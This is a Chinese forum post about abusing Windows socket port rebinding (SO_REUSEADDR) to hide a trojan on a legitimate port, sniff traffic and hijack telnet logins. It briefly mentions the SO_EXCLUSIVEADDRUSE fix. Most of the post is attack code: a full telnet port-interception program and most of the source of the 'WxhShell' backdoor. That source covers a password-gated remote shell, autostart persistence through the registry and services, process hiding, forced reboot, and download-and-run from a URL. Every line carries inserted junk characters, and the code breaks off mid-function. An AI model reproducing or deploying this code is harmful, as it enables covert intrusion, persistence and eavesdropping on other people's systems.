社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19622阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e vrXo"3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u37'~&o{U  
;aI[=?<x  
  saddr.sin_family = AF_INET; 7 %Oa;]|  
 [F0s!,P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~$:|VHl  
&x[E;P*Fg  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  "HElB9  
lef2X1w}!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (l-tvk4Ln  
KIui(n#/  
  这意味着什么?意味着可以进行如下的攻击: =XucOli6  
ej4W{IN~:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 { QHVo#  
l6YtEHNG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qq) rd  
I/d&G#:~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Rn`x7(WA  
k7?N ?7w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^?cz,N~  
lE;Ewg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #!aN{nK0  
{1V($aBl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "!Uqcay-  
x(hE3S#+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Hyb3 ;yQ  
iVp,e  
  #include K/tRe/t }  
  #include 6-yd]("  
  #include "U!AlZ`g  
  #include    U1DXe h~V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lD^]\;?  
  int main() ROg(U8 N  
  { 0fb`08,^  
  WORD wVersionRequested; u.d).da  
  DWORD ret; pP*zq"o  
  WSADATA wsaData; C\/xl#e<@  
  BOOL val; co~Pyj  
  SOCKADDR_IN saddr; A?CcHw rT  
  SOCKADDR_IN scaddr; <j&DK2u=i  
  int err; %+8F'&X  
  SOCKET s; P_?gq>E8  
  SOCKET sc; ,TXTS*V?  
  int caddsize; W3IpHV  
  HANDLE mt; C ~<'rO}|  
  DWORD tid;   T*#/^%HSG  
  wVersionRequested = MAKEWORD( 2, 2 ); @ zs'Y8  
  err = WSAStartup( wVersionRequested, &wsaData ); ,4zmb`dP<  
  if ( err != 0 ) { c_-drS  
  printf("error!WSAStartup failed!\n"); WFO4gB*  
  return -1; }4Tc  
  } Av xfI"sp  
  saddr.sin_family = AF_INET; 3HLNCt09  
   Xf02"PXC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 : >6F+XZ  
b7 NM#Hb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g .onTFwN  
  saddr.sin_port = htons(23); XWA:J^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MaRi+3F  
  { g#F?!i-[F  
  printf("error!socket failed!\n"); 3a?o3=  
  return -1; p[hZ@f(z  
  } b%<9Sn   
  val = TRUE; &xa(BX%,c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .q%WuQw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B8B; y^b>i  
  { b4E:Wn9x  
  printf("error!setsockopt failed!\n"); Y' %^NP}o  
  return -1; G?E oPh^m  
  } iz8Bf;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~i~7 n a|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E=e*VEjy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v}1QH  
] 8Q4BW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P%{^i]  
  { 1QLbf*zeIW  
  ret=GetLastError(); |+iws8xK?  
  printf("error!bind failed!\n"); GliwY_  
  return -1; k.uMp<)D  
  } zaah^.MA|  
  listen(s,2); uT}' Y)m  
  while(1) 5]n[]FW  
  { S `#w+C#EW  
  caddsize = sizeof(scaddr); -j73Wz  
  //接受连接请求 in~D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '+osf'&  
  if(sc!=INVALID_SOCKET) .q9 $\wM/  
  { 7w'wjX-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o Z%9_$Z  
  if(mt==NULL) a^`rtvT  
  { D+>4AqG  
  printf("Thread Creat Failed!\n"); o$w_Es]Ma  
  break; Z&|Kki*  
  } ?Lyxw]  
  } :?/cPg'D  
  CloseHandle(mt); 8-BflejX  
  } gW-V=LV (  
  closesocket(s); ft$RSb#  
  WSACleanup(); Ag&0wN+jTM  
  return 0; t^6dzrF  
  }   QA<Jr5Ys  
  DWORD WINAPI ClientThread(LPVOID lpParam) XmEq2v  
  { GM3f- \/  
  SOCKET ss = (SOCKET)lpParam; cm?\ -[cV  
  SOCKET sc; P8>~c9$I  
  unsigned char buf[4096]; S-k8jm  
  SOCKADDR_IN saddr; #a<Gxj  
  long num; VH+%a<v"  
  DWORD val; cIav&Zko  
  DWORD ret; $u9K+>.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~NQ72wph{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )xbHCoU,  
  saddr.sin_family = AF_INET; MrDc$p W G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AQ_|:  
  saddr.sin_port = htons(23); ~nrK>%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0URji~?|x  
  { TNGU6j}oq  
  printf("error!socket failed!\n"); BsEF'h'Owh  
  return -1; hS)'a^FV  
  } S4G^z}{_  
  val = 100; *QLI3B9V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b*`lk2oMa/  
  { #7MUJY+ 9  
  ret = GetLastError(); KTP8?Q"n0  
  return -1; cUvz2TK  
  } `-3O w[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %d?cP}V  
  { .7l&1C)i  
  ret = GetLastError(); a{R%#e\n  
  return -1; P %#<I}0C  
  } EJsM(iG]~M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vJ'2@f$  
  { s;3={e.  
  printf("error!socket connect failed!\n"); QKr,g  
  closesocket(sc); ^~3SSLS4"  
  closesocket(ss); r]b_@hT',  
  return -1; B]uc<`f  
  } CE/Xfh'44  
  while(1) P*I}yPeb  
  { EL(nDv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dHv68*^\'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =~=*&I4Dp  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >[_f3;P  
  num = recv(ss,buf,4096,0); 3?1`D/  
  if(num>0) ;i<|9{;  
  send(sc,buf,num,0); tE)suU5Y  
  else if(num==0) eD*A )  
  break; }Q=!Y>Tc  
  num = recv(sc,buf,4096,0); dvt9u9Vg=  
  if(num>0) 4iKgg[)7`=  
  send(ss,buf,num,0); X{\F;Cb*  
  else if(num==0) `NgAT 3zq  
  break; aFS,GiB  
  } Q$="_y2cTA  
  closesocket(ss); hM{{\yZS  
  closesocket(sc); U c@Ao:  
  return 0 ; @>W(1mRi  
  } qI~xlW  
Tl2C^j  
@wE5S6! B\  
========================================================== (X?%^^e!  
4}4Pyjh  
下边附上一个代码,,WXhSHELL 0@H|n^Md#  
&NH$nY.r  
========================================================== m]5Cq6  
]%?YZn<{  
#include "stdafx.h" G>1eFBh }  
F W/W%^  
#include <stdio.h> STxKE %l  
#include <string.h> ] :BX!<  
#include <windows.h> sB c (gr  
#include <winsock2.h> *#tJM.Z  
#include <winsvc.h> ;|vpwB@B  
#include <urlmon.h> <N_+=_  
IE9 XU9Kd  
#pragma comment (lib, "Ws2_32.lib") W9D86]3Y  
#pragma comment (lib, "urlmon.lib") il:$sd  
E )5E$  
#define MAX_USER   100 // 最大客户端连接数 A-T]9f9  
#define BUF_SOCK   200 // sock buffer 2JJ"O|Ibz  
#define KEY_BUFF   255 // 输入 buffer V3c l~  
Ah k8  
#define REBOOT     0   // 重启 C4~;yhz  
#define SHUTDOWN   1   // 关机 &?*V0luP)  
eC[$B99\  
#define DEF_PORT   5000 // 监听端口 kH]yl 2  
Q 4f/Z  
#define REG_LEN     16   // 注册表键长度 /4` 0?/V  
#define SVC_LEN     80   // NT服务名长度 YwZ Z{+n  
Qzlo'e1  
// 从dll定义API ?q; Fp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ReM=eS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d*~ ICir7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G-?d3 n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DjN|Wr)*  
]8 f ms(  
// wxhshell配置信息 +(C6#R<LI  
struct WSCFG { B, TB3 {  
  int ws_port;         // 监听端口 WXmn1^"kK}  
  char ws_passstr[REG_LEN]; // 口令 2Fq<*pxAY  
  int ws_autoins;       // 安装标记, 1=yes 0=no WC.t_"@  
  char ws_regname[REG_LEN]; // 注册表键名 kX>f^U{j  
  char ws_svcname[REG_LEN]; // 服务名 Y0_),OaY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )FpZPdN+h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V{^!BBQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N(y\dL=v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q^r#F#*1l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AO=h 23ZI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K)\M5id]  
" e}3:U5n  
}; rfNm&!K  
:j]vf8ec  
// default Wxhshell configuration l&?}hq^'Dn  
struct WSCFG wscfg={DEF_PORT, }jVSlCF@t  
    "xuhuanlingzhe", /4 vG3  
    1, :1iqT)&|8F  
    "Wxhshell", wYQ&C{D%  
    "Wxhshell", tb$LriN  
            "WxhShell Service", brdmz}  
    "Wrsky Windows CmdShell Service", 0 0 M@  
    "Please Input Your Password: ", `.x Fiyc  
  1, A@sZ14+f  
  "http://www.wrsky.com/wxhshell.exe", |m80]@>  
  "Wxhshell.exe" XI9js{p  
    }; uwjGDw  
^Nmg07_R  
// 消息定义模块 A` AaTP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =9"W@n[>W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T)Y=zIQ1]7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j& <i&  
char *msg_ws_ext="\n\rExit."; 6Qx#%,U^ J  
char *msg_ws_end="\n\rQuit."; 8'f4 Od ?  
char *msg_ws_boot="\n\rReboot..."; aEWWFN  
char *msg_ws_poff="\n\rShutdown..."; av$/Om :  
char *msg_ws_down="\n\rSave to "; ui@2s;1t  
N9vP7  
char *msg_ws_err="\n\rErr!"; .]sf0S!  
char *msg_ws_ok="\n\rOK!"; rwG CUo6Z  
`g6h9GC6  
char ExeFile[MAX_PATH]; {WPobP"  
int nUser = 0; T+<A`k: -  
HANDLE handles[MAX_USER]; 1f8GW  
int OsIsNt; hWT[L.>k  
4=Krq6{  
SERVICE_STATUS       serviceStatus; H8`(O"V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iTV) NsC}  
$pFo Rv  
// 函数声明 Q~j`YmR|  
int Install(void); XLH+C ]pfr  
int Uninstall(void); vsr[ur[eP  
int DownloadFile(char *sURL, SOCKET wsh); tc!wLnhG  
int Boot(int flag); m/qbRk68s  
void HideProc(void); /Ne<V2AX  
int GetOsVer(void); W@Lu;g.Yc  
int Wxhshell(SOCKET wsl); ?HV`| Cw  
void TalkWithClient(void *cs); X_g 3rv1J  
int CmdShell(SOCKET sock); I= .z+#Y  
int StartFromService(void); 8G5m{XTS(  
int StartWxhshell(LPSTR lpCmdLine); M>>qn_yq4  
,i,q!M{-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v0ES;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [w&$|h:;  
+C(/ Lyo}  
// 数据结构和表定义 EB_NK  
SERVICE_TABLE_ENTRY DispatchTable[] = d R]Q$CJ  
{ o`q_wdy?  
{wscfg.ws_svcname, NTServiceMain}, YcN!T"w J@  
{NULL, NULL} C,pJ`:P  
}; ulER1\W  
"eWYv3z~-  
// 自我安装 & _g TD  
int Install(void) j~e;DO  
{ {nvLPUL  
  char svExeFile[MAX_PATH]; GKFq+]W  
  HKEY key; V]vc(rH  
  strcpy(svExeFile,ExeFile); F`9ZH.  
jvV9eA:zl  
// 如果是win9x系统,修改注册表设为自启动 zKsz*xv6b  
if(!OsIsNt) { v !FMs<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {s_+?<l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gsc\/4Wx  
  RegCloseKey(key); Z+StB15  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3:f[gV9K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }oKG}wgY  
  RegCloseKey(key); 3t0[^cY8=z  
  return 0; en:4H   
    }  aKd+CO:  
  } Q lHd,w  
} YTjkPj:  
else { ^+1#[E  
Q26qNn bK  
// 如果是NT以上系统,安装为系统服务  ^_%kE%I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F1Hh7 F  
if (schSCManager!=0) N?m0US u*  
{ if]Noe  
  SC_HANDLE schService = CreateService PT5AA8F  
  ( G_dsrpI=N  
  schSCManager, wprX!)w<i  
  wscfg.ws_svcname, v (2GX  
  wscfg.ws_svcdisp, DS%\SrC  
  SERVICE_ALL_ACCESS, /De^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @5[kcU>  
  SERVICE_AUTO_START, ]Y| 9?9d  
  SERVICE_ERROR_NORMAL, mnID3=JF  
  svExeFile, Y2[A2Uy$ef  
  NULL, ZDC9oX @  
  NULL, bI y sl  
  NULL, >R2SQA o  
  NULL, d|*"IFe  
  NULL wfP5@!I  
  ); "sKa`WN}  
  if (schService!=0) u^j {U}  
  { MCP "GZK6W  
  CloseServiceHandle(schService); `W-&0|%Ta  
  CloseServiceHandle(schSCManager); @YH+c G|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nWvuaQ0}  
  strcat(svExeFile,wscfg.ws_svcname); V&|!RxWK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rJo"fx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /2m?15c+  
  RegCloseKey(key); Hku!bJ  
  return 0; fbkd"7u  
    } /LM4- S  
  } tWdhDt8$&  
  CloseServiceHandle(schSCManager); Fbp{,V@F2  
} 07/L}b`P  
} }rdIUlVO\  
4A3nO<o MF  
return 1; }I!hOD>]O  
}  P N*JR  
}BmS )J q  
// 自我卸载 q,2]5 '  
int Uninstall(void) t nS+5F  
{ _7D_72  
  HKEY key; u<n`x6gL  
Do]*JO)(  
if(!OsIsNt) { f N "tA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P &)1Rka  
  RegDeleteValue(key,wscfg.ws_regname); (LtkA|:  
  RegCloseKey(key); bhs(Qzx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &|<xqt  
  RegDeleteValue(key,wscfg.ws_regname); $y?k[Y-~  
  RegCloseKey(key); G3G6IP  
  return 0; '&;69`FSe  
  } f):~8_0b  
} R4<lln:[  
} z1!6%W_.  
else { s6 }X t=j  
SjEdyN#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !4rPv\   
if (schSCManager!=0) G^(}a]>9  
{ EHlytG}@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a? R[J==  
  if (schService!=0) Q8MS,7y/  
  { T|"7sPgGR  
  if(DeleteService(schService)!=0) { ? /JBt /b  
  CloseServiceHandle(schService); hGf-q?7  
  CloseServiceHandle(schSCManager); {FI\~ q  
  return 0; vSW L$Y2  
  } Y?#i{ixX6n  
  CloseServiceHandle(schService); F.)!3YE  
  } d3]hyTqbtm  
  CloseServiceHandle(schSCManager); 4q$H  
} -K[782Q  
} p[2GkP  
5=KF!?  
return 1; h~7,`fo  
} htPqT,L  
^I]{7$6^  
// 从指定url下载文件 L "<B;u5pM  
int DownloadFile(char *sURL, SOCKET wsh) f '6|OsVQ  
{ 5v^L9!`@%v  
  HRESULT hr; qXXGF_Q  
char seps[]= "/"; IB|]fzy  
char *token; A7P`lJgv  
char *file; {5%/T,  
char myURL[MAX_PATH]; +^6}   
char myFILE[MAX_PATH]; oY`qInM_  
CT d|`  
strcpy(myURL,sURL); jLcHY-P0V  
  token=strtok(myURL,seps); %TrF0{NR90  
  while(token!=NULL) $gMCR b,  
  { %So] 3;'  
    file=token; P=H+ #  
  token=strtok(NULL,seps); o7+>G~i  
  } L<(VG{)Z  
J Lb6C 52  
GetCurrentDirectory(MAX_PATH,myFILE); x:t<ZG&Xwg  
strcat(myFILE, "\\"); N*DhjEU)[  
strcat(myFILE, file); dZ :r&Qa  
  send(wsh,myFILE,strlen(myFILE),0); c#b:3dXx9  
send(wsh,"...",3,0); \%,&~4 !  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5eX59:vtl  
  if(hr==S_OK) v.W{x?5  
return 0; s%;<O:x8o  
else :G)<}j"sM  
return 1; 8 3.E0@$  
oJ78jGTnb  
} J< JBdk  
%d: A`7x  
// 系统电源模块 A 2x;fgi  
int Boot(int flag) |)@N-f:E  
{ -PAF p3w\y  
  HANDLE hToken; nj\_lL+  
  TOKEN_PRIVILEGES tkp; he )ulB  
!;>(i e\  
  if(OsIsNt) { {aN(d3c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )%du@a8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }gsO&g"8  
    tkp.PrivilegeCount = 1; ]2+g&ox4'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EaS~`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =hw^P%Zn  
if(flag==REBOOT) { 9u wL{P&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U |F>W~%  
  return 0; SZVV40w  
} "7?js $  
else { OoP@-D"e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) { U <tc4^  
  return 0; rbk<z\pc  
} !Y;<:zx5  
  } "+iAd.qd  
  else { >,h1N$A+  
if(flag==REBOOT) { s?O&ZB2GM[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b?kPN:U#N/  
  return 0; ]5|z3<K^  
} 1&|Dsrj  
else { |*Ot/TvG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7dD.G/'  
  return 0; Xyv8LB  
} K="I<bK  
} 4`mO+.za1  
Rlw9$/D!Z  
return 1; PO ko]@~!i  
} v`{:~ q*  
;]&-MFv#  
// win9x进程隐藏模块 X*Z5 P  
void HideProc(void) J5T=!wF (  
{ ]+IVSxa!u  
"2h5m4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A9BxwQU#  
  if ( hKernel != NULL ) b*9e1/]  
  { QAvWJydb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zd>ZY,-5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !cCg/  
    FreeLibrary(hKernel); 3.)_uo0;o  
  } WbzA Jx 5  
`I> ], J/  
return;  b~!om  
} u g6r]0]  
WzG07 2w  
// 获取操作系统版本 *4#on>  
int GetOsVer(void) P`sN&Y~m  
{ gStY8Z!k  
  OSVERSIONINFO winfo; 1hNEkpL^a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?1m ,SK  
  GetVersionEx(&winfo); /v&`!nKu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cnur"?w@o  
  return 1; 3#9M2O\T  
  else ~'f8L #[M  
  return 0; 3@X|Gs'_S  
} %)IrXz>Zh  
zXgkcq)  
// 客户端句柄模块 #D:RhqjK  
int Wxhshell(SOCKET wsl) |!re8|JV_  
{ 4GTrI@}3  
  SOCKET wsh; u '@Ely  
  struct sockaddr_in client; #5d8?n  
  DWORD myID; 5}SXYA}  
&^ceOV0+  
  while(nUser<MAX_USER) =[(%n94  
{ m9g^ -X  
  int nSize=sizeof(client); =n }Yqny  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f)tc4iV  
  if(wsh==INVALID_SOCKET) return 1; t/LgHb:)  
7sN0`7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w?;b7i  
if(handles[nUser]==0) 1OPfRDn.bk  
  closesocket(wsh); 8g5.7{ky  
else gCwt0)  
  nUser++; LO>8 j:  
  } !>|`ly$6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 14u^[M" U  
iJ*%dio  
  return 0; q+J0}y{#8)  
} _U=S]2 Q W  
q/J3cXa{K  
// 关闭 socket (v|`LmV  
void CloseIt(SOCKET wsh)  f }-v  
{ o?=fhc  
closesocket(wsh); RD9Y k  
nUser--; u p~@?t2  
ExitThread(0); jhcuK:`L  
} wKrdcWI,Z  
/p[y1  
// 客户端请求句柄 7?]!Ecr"  
void TalkWithClient(void *cs) P59uALi  
{ Dzm qR0)  
9>zDJx  
  SOCKET wsh=(SOCKET)cs; }Y$VB%&Hy  
  char pwd[SVC_LEN]; q\G{]dz?R  
  char cmd[KEY_BUFF]; j>g9\i0O1  
char chr[1]; +9}' s{  
int i,j; `~KAk  
wJr/FE 7c  
  while (nUser < MAX_USER) { 2?pM5n  
R''Sfz>8  
if(wscfg.ws_passstr) { X?_v+'G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (aBP|rxg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mlmnkgl ]  
  //ZeroMemory(pwd,KEY_BUFF); X{|k<^:  
      i=0; SFOQM*H  
  while(i<SVC_LEN) { 'U*udkn 2]  
nO%<;-=u\  
  // 设置超时 kz|[*%10  
  fd_set FdRead; )rS^F<C  
  struct timeval TimeOut; 2PI #ie4  
  FD_ZERO(&FdRead); b__n~\q_  
  FD_SET(wsh,&FdRead); PKATw>zg<  
  TimeOut.tv_sec=8; ~EPjZ3 ?  
  TimeOut.tv_usec=0; cxk=| ?l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Cb<~i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tl2Lq0  
9`E-dr9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1URT2$2p  
  pwd=chr[0]; ;?#i]Bh>S  
  if(chr[0]==0xd || chr[0]==0xa) {  aeQ{_SK  
  pwd=0; {bxhH)a'  
  break; UFJEs[?+Te  
  } W|)(|W  
  i++; s>V*=#L  
    } "%Lmgy:~  
cRPr9LfD@  
  // 如果是非法用户,关闭 socket u'{sB5_H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *Y^5M"AB_  
} M!{Rq1M  
mrX}\p   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rHR5,N:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CcbWW4 )  
!/[AQ{**T!  
while(1) { Y}*Ctdrl  
s')!<E+z\t  
  ZeroMemory(cmd,KEY_BUFF); \y<+Fac1S  
pq@$&G  
      // 自动支持客户端 telnet标准   UYl JO{|a  
  j=0; ]IL3$eR  
  while(j<KEY_BUFF) { "P9wT)J_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xU:PhhS  
  cmd[j]=chr[0]; :s? y,  
  if(chr[0]==0xa || chr[0]==0xd) { ((n5';|N  
  cmd[j]=0;  ; \Y-  
  break; $K;_Wf  
  } X/K| WOO6  
  j++; eDvXU_yA  
    } {_+>"esc  
c M|af#o  
  // 下载文件 G`&'Bt{Z*  
  if(strstr(cmd,"http://")) { NN?Bi=&9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E]D4']  
  if(DownloadFile(cmd,wsh)) #{.pQi})  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =#J 9  
  else Q2??Kp] 1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <$Xn:B<H  
  } i,\t]EJAU  
  else { >!CH7wX  
mOgx&ns;j  
    switch(cmd[0]) { N}e(.  
  <PH3gyC  
  // 帮助  W\zL  
  case '?': { 9p!dQx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $H %+k?  
    break; Au%Wrk3j  
  } m  mw)C"  
  // 安装 t(Cq(.u`:  
  case 'i': { \v B9fA:*  
    if(Install()) \["1N-q b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fte!Ll'  
    else \L&qfMjW"Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZfF`kD\  
    break; ;L MEU_  
    } "dFdOb"O-  
  // 卸载 =t <:zLe  
  case 'r': { n$A(6]z5O  
    if(Uninstall()) Vz+=ZK r5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = D;UMSf  
    else ]*t*/j;N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c'm-XL_La  
    break; *&~sr  
    } Bil;@,Z#  
  // 显示 wxhshell 所在路径 %t(, *;  
  case 'p': { `RL(N4H  
    char svExeFile[MAX_PATH]; `-E.n'+  
    strcpy(svExeFile,"\n\r"); _j|n}7a  
      strcat(svExeFile,ExeFile); RJ7/I/yD|  
        send(wsh,svExeFile,strlen(svExeFile),0); rmAP&Gw I  
    break; F\YcSDM  
    } cPa 0n4  
  // 重启 yBD.Cs@  
  case 'b': { ?`BED6$`G9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3w6J V+?  
    if(Boot(REBOOT)) pU\xzLD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zS>:7eG  
    else { xw/h~:NT  
    closesocket(wsh); UOOR0$4  
